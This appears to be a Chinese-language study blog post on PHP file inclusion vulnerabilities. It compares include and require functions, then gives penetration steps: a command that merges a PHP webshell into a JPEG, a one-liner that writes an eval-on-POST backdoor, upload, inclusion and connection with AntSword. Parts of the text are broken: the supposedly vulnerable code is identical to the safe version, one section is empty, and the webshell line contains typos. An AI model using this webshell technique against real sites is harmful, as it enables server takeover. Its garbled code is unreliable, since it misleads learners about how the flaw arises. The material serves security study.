文件包含漏洞

  网络安全内容方面的学习,了解了网站的文件包含漏洞

什么是文件包含漏洞

  php文件包含漏洞的产生原因是在通过php的函数引入文件时,使用了预想之外的文件,就可能导致文件泄露甚至恶意代码的注入。

PHP文件包含的函数

1.四种函数理解

创建inc.php文件

1
2
3
<?php
echo "This is inc.php";
?>

创建include.php文件

1
2
3
4
5
<?php
include("./inc.php");
echo "<h1>This is include.php!</h1>";
include "./inc.php";
?>

创建include_once.php文件,但是调用同一文件只调用第一次

1
2
3
4
5
<?php
include_once("./inc.php");//包含inc文件
echo "<h1>This is include_once.php</h1>";
include_once "./inc.php";//包含inc文件
?>

创建require.php文件,如果包含失败,会报出错误信息,并终止脚本运行

1
2
3
4
5
<?php
require("./inc.php");
echo "<h1>This is require.php!</h1>";
require "./inc.php";
?>

创建require_once.php文件,功能和require一样,但是只包含一次

1
2
3
4
5
<?php
require_once("./inc.php");
echo "<h1>This is require_once.php!</h1>";
require_once "./inc.php";
?>

2.发生文件包含漏洞

如果将require_once.php文件改为

1
2
3
4
5
<?php
require_once("./inc.php");
echo "<h1>This is require_once.php!</h1>";
require_once "./inc.php";
?>

DK8jQH.jpg

3.四种函数总结

函数名
include() 当使用该函数包含文件时,只有代码执行到includ()函数时才会将文件包含进来,发生错误时给出一个警告,继续向下执行
include_once() 功能与include()相同,区别在于当重复调用同一文件时,程序只调用一次
require() require()与include()区别在于require()执行如果发生错误,函数就会输出错误信息,并终止脚本运行
require_once() 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

文件包含漏洞分类

1.本地文件包含漏洞

当别包含的文件在服务器本地

2.远程文件包含漏洞

当被包含的文件在第三方服务器本地

文件包含漏洞产生原因

文件包含漏洞渗透

1.制作一句话图片木马

1
2
3
4
方法一:windows 命令:
copy hack.jpg/b+shell.php hack.jpg

方法二:使用edjpgcom
1
<?fputs(fopen("shell2.php","w"),'<?php evla(#_POST[hack]);?>')?>

2.上传木马图片文件

3.执行文件包含并生成后门

4.通过蚁剑连接